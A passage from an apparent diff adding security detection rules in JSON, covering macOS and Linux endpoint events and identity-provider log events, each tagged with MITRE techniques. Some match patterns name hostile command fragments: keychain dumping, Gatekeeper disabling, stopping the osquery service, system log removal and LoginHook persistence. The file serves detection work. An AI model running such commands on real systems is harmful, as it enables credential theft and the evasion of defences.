+ "severity": "low",
+ "slug": "host-mdns-suspicious-tld"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-278",
+ "match_when": {
+ "event_type": "ssdp_egress",
+ "source_subnet_role": "server"
+ },
+ "mitre": [
+ "T1018"
+ ],
+ "name": "UPnP/SSDP Beacons From Server Subnet",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "medium",
+ "slug": "host-upnp-from-server"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-279",
+ "match_when": {
+ "event_type": "rdp_cert_mismatch"
+ },
+ "mitre": [
+ "T1557.002"
+ ],
+ "name": "RDP Client Saw Certificate Mismatch",
+ "product": "endpoint",
+ "service": "rdp",
+ "severity": "high",
+ "slug": "host-rdp-mitm-cert-mismatch"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-280",
+ "match_when": {
+ "agent": "sccm",
+ "event_type": "agent_install",
+ "source_signed_by_known_publisher": false
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "SCCM Client Installed From Untrusted Source",
+ "product": "endpoint",
+ "service": "agent",
+ "severity": "medium",
+ "slug": "host-sccm-client-untrusted"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-281",
+ "match_when": {
+ "cmdline_contains_all": [
+ "osascript",
+ "system_profiler"
+ ],
+ "cmdline_contains_any": [
+ "VMware",
+ "QEMU",
+ "VirtualBox"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1059.002"
+ ],
+ "name": "AMoS Stealer Virtual Machine Detection via osquery",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-amos-stealer-vm-check"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-282",
+ "match_when": {
+ "cmdline_contains_any": [
+ "dd if=",
+ "split -b"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1030"
+ ],
+ "name": "macOS Data Chunking via dd or split",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-data-chunking"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-283",
+ "match_when": {
+ "cmdline_contains_any": [
+ "com.apple.quarantine",
+ "spctl --master-disable"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1553.001"
+ ],
+ "name": "macOS Gatekeeper Bypass Attempt",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-gatekeeper-bypass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-284",
+ "match_when": {
+ "cmdline_contains_all": [
+ "PlistBuddy"
+ ],
+ "cmdline_contains_any": [
+ "LaunchAgents",
+ "RunAtLoad"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1543.001"
+ ],
+ "name": "Suspicious PlistBuddy LaunchAgent Modification",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-suspicious-plistbuddy"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-285",
+ "match_when": {
+ "cmdline_startswith": "sudoedit -s ",
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1068"
+ ],
+ "name": "Baron Samedit CVE-2021-3156 Exploit Attempt",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "medium",
+ "slug": "osquery-linux-baron-samedit-cve-2021-3156"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-286",
+ "match_when": {
+ "cmdline_contains_any": [
+ "service osqueryd stop",
+ "systemctl stop osqueryd"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1489"
+ ],
+ "name": "Linux osqueryd Service Stop Detected via auditd",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "osquery-linux-auditd-service-stop"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-287",
+ "match_when": {
+ "cmdline_contains_any": [
+ "sysadminctl -addUser",
+ "dscl . -create /Users/",
+ "createhomedir -u "
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1136.001"
+ ],
+ "name": "macOS Local User Account Created",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "medium",
+ "slug": "osquery-macos-account-created"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-288",
+ "match_when": {
+ "cmdline_contains_any": [
+ "chflags hidden",
+ "xattr -wx com.apple"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1564.001"
+ ],
+ "name": "macOS Hidden File or Directory Created",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "medium",
+ "slug": "osquery-macos-hidden-file-directory"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-289",
+ "match_when": {
+ "event_type": "osquery_query_row",
+ "name": "kextload"
+ },
+ "mitre": [
+ "T1543"
+ ],
+ "name": "macOS Kernel Extension Loaded via kextload",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-kextload"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-290",
+ "match_when": {
+ "cmdline_contains_any": [
+ "dump-keychain -d",
+ "find-certificate -p",
+ "keychaindump",
+ "Library/Keychains/"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1555.001"
+ ],
+ "name": "macOS Keychain Dumping Attempt",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-keychain-dump"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-291",
+ "match_when": {
+ "cmdline_contains_all": [
+ "system.log"
+ ],
+ "cmdline_contains_any": [
+ "rm ",
+ "truncate",
+ "audit -n"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1070"
+ ],
+ "name": "macOS System Log Removed or Manually Rotated",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "medium",
+ "slug": "osquery-macos-log-removal"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-292",
+ "match_when": {
+ "cmdline_contains_all": [
+ "defaults",
+ "write",
+ "loginwindow",
+ "LoginHook"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1037.002"
+ ],
+ "name": "macOS LoginHook Persistence via defaults write",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "high",
+ "slug": "osquery-macos-loginhook-persistence"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-293",
+ "match_when": {
+ "cmdline_startswith_any": [
+ "funzip ",
+ "openssl s_client",
+ "openssl base64",
+ "python -c import"
+ ],
+ "event_type": "osquery_query_row"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "macOS Suspicious Living-Off-The-Land Binary Execution",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "low",
+ "slug": "osquery-macos-lolbin-execution"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-294",
+ "match_when": {
+ "event_type": "osquery_query_row",
+ "name_in": [
+ "showmount",
+ "smbutil"
+ ]
+ },
+ "mitre": [
+ "T1135"
+ ],
+ "name": "macOS Network Share Discovery via showmount or smbutil",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "low",
+ "slug": "osquery-macos-network-share-discovery"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-295",
+ "match_when": {
+ "event_type": "osquery_query_row",
+ "path": "/usr/bin/plutil"
+ },
+ "mitre": [
+ "T1647"
+ ],
+ "name": "macOS Plist Modification via plutil",
+ "product": "osquery",
+ "service": "processes",
+ "severity": "medium",
+ "slug": "osquery-macos-plutil-plist-modification"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-296",
+ "match_when": {
+ "event_type": "osquery_query_row",
+ "query_name_contains": "Keyboard_Event_Tap"
+ },
+ "mitre": [
+ "T1056.001"
+ ],
+ "name": "Process Tapping macOS Keyboard Events",
+ "product": "osquery",
+ "service": "es_process_events",
+ "severity": "high",
+ "slug": "osquery-macos-keyboard-event-tap"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-001",
+ "match_when": {
+ "event_type": "user.session.start",
+ "fail_count_gt": 20,
+ "outcome": "FAILURE",
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1110.001"
+ ],
+ "name": "Authentication Brute-Force Burst",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "brute-force-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-002",
+ "match_when": {
+ "event_type": "user.session.start",
+ "outcome": "SUCCESS",
+ "time_delta_minutes_lt": 120,
+ "travel_speed_kmh_gt": 800
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Impossible Travel Between Two Authentications",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "impossible-travel"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-003",
+ "match_when": {
+ "distinct_users_per_ip_gt": 30,
+ "event_type": "user.session.start",
+ "outcome": "FAILURE",
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1110.003"
+ ],
+ "name": "Password Spray Across Many Users from Single IP",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "password-spray"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-004",
+ "match_when": {
+ "event_type": "user.session.start",
+ "ip_anonymizer": true
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Login from Tor / Anonymous Proxy",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "login-anonymous-ip"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-005",
+ "match_when": {
+ "event_type": "user.session.start",
+ "hour_of_day_local_not_in": [
+ 7,
+ 8,
+ 9,
+ 10,
+ 11,
+ 12,
+ 13,
+ 14,
+ 15,
+ 16,
+ 17,
+ 18,
+ 19
+ ],
+ "outcome": "SUCCESS",
+ "user_role_in": [
+ "admin",
+ "privileged"
+ ]
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Privileged Login Outside Business Hours",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "login-outside-business-hours"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-006",
+ "match_when": {
+ "event_type": "user.session.start",
+ "outcome": "SUCCESS",
+ "src_country_not_in_allowlist": true
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Login from Country Outside Allowed Geography",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "login-from-foreign-country"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-007",
+ "match_when": {
+ "event_type": "user.session.start",
+ "user_state_in": [
+ "DISABLED",
+ "DEPROVISIONED"
+ ]
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Authentication Attempt Against Disabled Account",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "disabled-account-login-attempt"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-008",
+ "match_when": {
+ "event_type": "user.mfa.factor.push",
+ "mfa_push_count_gt": 6,
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1621"
+ ],
+ "name": "MFA Push Bombing (MFA Fatigue)",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "mfa-fatigue"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-009",
+ "match_when": {
+ "event_type": "policy.lifecycle.update",
+ "policy_change_field": "mfa_required:false"
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "MFA Requirement Removed from User Policy",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "critical",
+ "slug": "mfa-bypass-policy-change"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-010",
+ "match_when": {
+ "credential_state": "EXPIRED",
+ "event_type": "user.session.start"
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "Authentication with Expired Credential",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "expired-credential-reuse"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-011",
+ "match_when": {
+ "event_type": "user.session.start",
+ "session_type": "interactive",
+ "user_type": "service_account"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Service Account Used for Interactive Login",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "service-account-interactive-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-012",
+ "match_when": {
+ "event_type": "ssh-accept",
+ "host_role": "production",
+ "user": "root"
+ },
+ "mitre": [
+ "T1078.001"
+ ],
+ "name": "Root SSH Login on Production Host",
+ "product": "linux",
+ "service": "auth",
+ "severity": "high",
+ "slug": "root-ssh-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-013",
+ "match_when": {
+ "event_type": "ssh-accept",
+ "outcome": "SUCCESS",
+ "user_in_default_list": true
+ },
+ "mitre": [
+ "T1078.001"
+ ],
+ "name": "Login with Vendor Default Credentials",
+ "product": "linux",
+ "service": "auth",
+ "severity": "high",
+ "slug": "default-credential-login"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-014",
+ "match_when": {
+ "distinct_ip_count_per_user_gt": 5,
+ "event_type": "user.session.start",
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Shared Account Login Spike (Distinct IPs)",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "shared-account-login-spike"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-015",
+ "match_when": {
+ "active_p0_or_p1_incident": true,
+ "event_type": "user.session.start",
+ "outcome": "SUCCESS",
+ "user_role_not_in": [
+ "incident_responder",
+ "admin"
+ ]
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Authentication During Active P0/P1 Incident Window",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "login-during-incident"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-016",
+ "match_when": {
+ "event_type": "user.role.add",
+ "role_name_in": [
+ "admin",
+ "owner",
+ "global_admin"
+ ]
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Privileged Role Assignment",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "privileged-role-assignment"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-017",
+ "match_when": {
+ "elevation_duration_minutes_gt": 240,
+ "event_type": "user.privilege.elevate"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Just-In-Time Elevation Held Beyond Window",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "jit-elevation-abuse"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-018",
+ "match_when": {
+ "event_type": "sudo-use",
+ "mfa_verified": false
+ },
+ "mitre": [
+ "T1548.003"
+ ],
+ "name": "Sudo Used Without MFA",
+ "product": "linux",
+ "service": "sudo",
+ "severity": "high",
+ "slug": "sudo-no-mfa"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-019",
+ "match_when": {
+ "event_id_in": [
+ 5136,
+ 5137,
+ 5138,
+ 5139
+ ]
+ },
+ "mitre": [
+ "T1484.001"
+ ],
+ "name": "Active Directory Group Policy Modified",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "group-policy-modification"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-020",
+ "match_when": {
+ "object_resource": "clusterrolebindings",
+ "role_ref": "cluster-admin",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Kubernetes ClusterRoleBinding to cluster-admin",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "rbac-cluster-admin-binding"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-021",
+ "match_when": {
+ "event_name_in": [
+ "DetachUserPolicy",
+ "DetachRolePolicy"
+ ],
+ "policy_name_contains_any": [
+ "DefaultDeny",
+ "GuardrailDeny",
+ "OrgDeny"
+ ]
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "Defensive IAM Policy Detached",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "critical",
+ "slug": "iam-policy-detach-defense"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-022",
+ "match_when": {
+ "event_id_in": [
+ 4739,
+ 4738
+ ],
+ "policy_change_in": [
+ "min-length-decreased",
+ "complexity-disabled",
+ "lockout-disabled"
+ ]
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Domain Password Policy Weakened",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "domain-password-policy-weakened"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-023",
+ "match_when": {
+ "event_type": "oauth.token.grant",
+ "scope_set_contains_any": [
+ "mail.readwrite",
+ "drive.full",
+ "admin.directory"
+ ]
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "OAuth App Granted Broad Scopes by User",
+ "product": "google-workspace",
+ "service": "audit",
+ "severity": "high",
+ "slug": "oauth-broad-scope-grant"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-024",
+ "match_when": {
+ "action": "integration_installation.create",
+ "permission_administration": "write"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "GitHub App Installed with Repo Admin Permission",
+ "product": "github",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-token-broad-default"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-025",
+ "match_when": {
+ "device_fingerprint_seen_before": false,
+ "event_type": "user.session.access_token",
+ "session_age_hours_gt": 8
+ },
+ "mitre": [
+ "T1550.004"
+ ],
+ "name": "Persistent Session Token Reused from New Device Fingerprint",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "token-reuse-new-device"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-026",
+ "match_when": {
+ "actor_role_not_in": [
+ "admin",
+ "user_admin"
+ ],
+ "event_type": "user.lifecycle.create"
+ },
+ "mitre": [
+ "T1136.001"
+ ],
+ "name": "User Account Creation by Non-Admin Principal",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "account-creation-by-non-admin"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-027",
+ "match_when": {
+ "event_type": "user.lifecycle.deactivate",
+ "target_user_role_in": [
+ "admin",
+ "owner"
+ ]
+ },
+ "mitre": [
+ "T1531"
+ ],
+ "name": "Privileged Account Deleted",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "critical",
+ "slug": "admin-account-deletion"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-028",
+ "match_when": {
+ "event_type": "user.lifecycle.activate",
+ "previous_state": "DISABLED"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Disabled Account Re-enabled",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "high",
+ "slug": "account-enable-after-disable"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-029",
+ "match_when": {
+ "event_type": "user.account.reset_password",
+ "reset_method": "self-service",
+ "user_role": "admin"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Admin Password Reset Initiated by Self via Self-Service",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "self-password-reset-admin"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-030",
+ "match_when": {
+ "event_type": "user.account.reset_password",
+ "hour_of_day_local_not_in": [
+ 7,
+ 8,
+ 9,
+ 10,
+ 11,
+ 12,
+ 13,
+ 14,
+ 15,
+ 16,
+ 17,
+ 18,
+ 19
+ ],
+ "user_role_in": [
+ "admin",
+ "privileged"
+ ]
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Password Reset Out of Business Hours for Privileged Account",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "medium",
+ "slug": "password-reset-out-of-hours"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-031",
+ "match_when": {
+ "event_id": 4662,
+ "operation_type_contains": "DS-Replication-Get-Changes",
+ "source_role_not_in": [
+ "domain_controller"
+ ]
+ },
+ "mitre": [
+ "T1003.006"
+ ],
+ "name": "Active Directory Replication Request from Non-Domain-Controller",
+ "product": "windows",
+ "service": "security",
+ "severity": "critical",
+ "slug": "ad-replication-non-dc"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-032",
+ "match_when": {
+ "event_id": 4769,
+ "spn_count_per_user_gt": 5,
+ "ticket_encryption_in": [
+ "RC4-HMAC",
+ "0x17"
+ ],
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1558.003"
+ ],
+ "name": "Kerberoasting (Service-Ticket Request for SPN)",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "kerberoasting"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-033",
+ "match_when": {
+ "event_id": 4768,
+ "preauth_required": false
+ },
+ "mitre": [
+ "T1558.004"
+ ],
+ "name": "AS-REP Roasting (Account with Pre-Auth Disabled)",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "asreproasting"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-034",
+ "match_when": {
+ "event_id": 4624,
+ "logon_type": 3,
+ "ticket_lifetime_hours_gt": 24
+ },
+ "mitre": [
+ "T1558.001"
+ ],
+ "name": "Golden Ticket Indicator (Anomalous TGT Lifetime)",
+ "product": "windows",
+ "service": "security",
+ "severity": "critical",
+ "slug": "golden-ticket"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-035",
+ "match_when": {
+ "event_id": 4624,
+ "logon_type": 3,
+ "tgs_event_seen": false
+ },
+ "mitre": [
+ "T1558.002"
+ ],
+ "name": "Silver Ticket Indicator (Service Ticket Without TGS Hit)",
+ "product": "windows",
+ "service": "security",
+ "severity": "critical",
+ "slug": "silver-ticket"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-036",
+ "match_when": {
+ "any_of": [
+ {
+ "issuer_valid": false
+ },
+ {
+ "notbefore_in_future": true
+ }
+ ],
+ "event_type": "user.authentication.sso"
+ },
+ "mitre": [
+ "T1606.002"
+ ],
+ "name": "SAML Response with Mismatched Issuer or Future-Dated NotBefore",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "critical",
+ "slug": "saml-response-anomaly"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-037",
+ "match_when": {
+ "operation_name_in": [
+ "Set domain authentication",
+ "Set federation settings on domain"
+ ]
+ },
+ "mitre": [
+ "T1556.007"
+ ],
+ "name": "Federation Trust Relationship Modified",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "critical",
+ "slug": "federated-trust-modified"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-038",
+ "match_when": {
+ "event_type_in": [
+ "app.idp.update_signing_certificate",
+ "app.idp.update_metadata"
+ ]
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "IDP Metadata or Signing Cert Changed",
+ "product": "okta",
+ "service": "system-log",
+ "severity": "critical",
+ "slug": "idp-metadata-changed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-039",
+ "match_when": {
+ "operation_name": "Update conditional access policy",
+ "policy_change_in": [
+ "scope-expanded",
+ "exclusion-added"
+ ]
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Conditional Access Policy Scope Broadened (Less Restrictive)",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "ca-policy-scope-broadened"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-040",
+ "match_when": {
+ "operation_name": "Add cross-tenant access policy"
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "Cross-Tenant Identity Access Granted",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "federation-cross-tenant-access"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-041",
+ "match_when": {
+ "distinct_users_per_minute_gt": 30,
+ "event_type": "auth_failure",
+ "tries_per_user_lte": 5
+ },
+ "mitre": [
+ "T1110.003"
+ ],
+ "name": "Password Spray: Single IP, Many Targets, Few Tries Each",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-password-spray-many-targets"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-042",
+ "match_when": {
+ "distinct_ips_per_user_per_hour_gt": 30,
+ "event_type": "auth_failure"
+ },
+ "mitre": [
+ "T1110.003"
+ ],
+ "name": "Distributed Password Spray From Many IPs",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-password-spray-distributed"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-043",
+ "match_when": {
+ "event_type": "auth_failure",
+ "tries_per_minute_gt": 50,
+ "user_agent_in_known_botnet_list": true
+ },
+ "mitre": [
+ "T1110.004"
+ ],
+ "name": "Credential Stuffing Pattern Against Login Endpoint",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-credstuffing-known-breached-list"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-044",
+ "match_when": {
+ "event_type": "auth_success",
+ "user_failures_last_15m_gt": 50
+ },
+ "mitre": [
+ "T1110.001"
+ ],
+ "name": "Successful Login After 50+ Recent Failures",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-bruteforce-success-after-failures"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-045",
+ "match_when": {
+ "event_type": "auth_success",
+ "geo_distance_km_gt": 1000,
+ "minutes_between_lt": 15
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Impossible Travel: Two Successful Logins <15m, >1000km",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-impossible-travel-15m"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-046",
+ "match_when": {
+ "event_type": "auth_success",
+ "src_ip_tor_exit": true
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "Successful Login From Tor Exit Node",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-tor-exit-login-success"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-047",
+ "match_when": {
+ "event_type": "auth_success",
+ "src_ip_anonymous_vpn": true,
+ "user_priv": true
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "Privileged User Login From Anonymising VPN",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-anon-vpn-login-priv-user"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-048",
+ "match_when": {
+ "event_type": "mfa_challenge",
+ "user_challenges_per_minute_gt": 5
+ },
+ "mitre": [
+ "T1621"
+ ],
+ "name": "MFA Fatigue Burst Against Single User",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-mfa-fatigue-burst"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-049",
+ "match_when": {
+ "current_state": "approve",
+ "event_type": "mfa_state_change",
+ "previous_state": "deny",
+ "seconds_between_lt": 60
+ },
+ "mitre": [
+ "T1621"
+ ],
+ "name": "User Denied Push Then Approved Within 60s",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-mfa-deny-then-success"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-050",
+ "match_when": {
+ "event_type": "account_locked",
+ "lockouts_per_hour_gte": 3
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "Account Locked Out 3+ Times In 1 Hour",
+ "product": "identity",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "ident-account-locked-many-times"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-051",
+ "match_when": {
+ "event_type": "auth_failure",
+ "result": "user_disabled"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Authentication Attempt Against Disabled User",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-disabled-user-auth-attempt"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-052",
+ "match_when": {
+ "event_type": "auth_success",
+ "user_state": "deleted"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Authentication Success For Recently Deleted User",
+ "product": "identity",
+ "service": "auth",
+ "severity": "critical",
+ "slug": "ident-deleted-user-auth-success"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-053",
+ "match_when": {
+ "event_type": "auth_success",
+ "mfa_factor": "backup_code"
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "MFA Bypass Via Emergency / Backup Code",
+ "product": "identity",
+ "service": "auth",
+ "severity": "high",
+ "slug": "ident-mfa-bypassed-via-emergency-code"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-054",
+ "match_when": {
+ "event_type": "factor_remove",
+ "factor_type": "fido2",
+ "user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "FIDO2 Hardware Key Removed From Privileged User",
+ "product": "identity",
+ "service": "mfa",
+ "severity": "high",
+ "slug": "ident-fido2-key-removed-priv"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-055",
+ "match_when": {
+ "event_type": "factor_swap",
+ "old_factor_age_days_gt": 30,
+ "session_seconds_lt": 600
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "FIDO2 Key Added And Old Key Removed In Same Session",
+ "product": "identity",
+ "service": "mfa",
+ "severity": "high",
+ "slug": "ident-fido2-key-added-then-removed-old"
+ },
+ {
+ "category": "identity",
+ "id": "det-identity-056",
+ "match_when": {
+ "event_type": "factor_create",
+ "factor_type": "totp",
+ "old_factor_removed": false
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "TOTP Secret QR-Code Re-Issued Without Old Factor Removal",
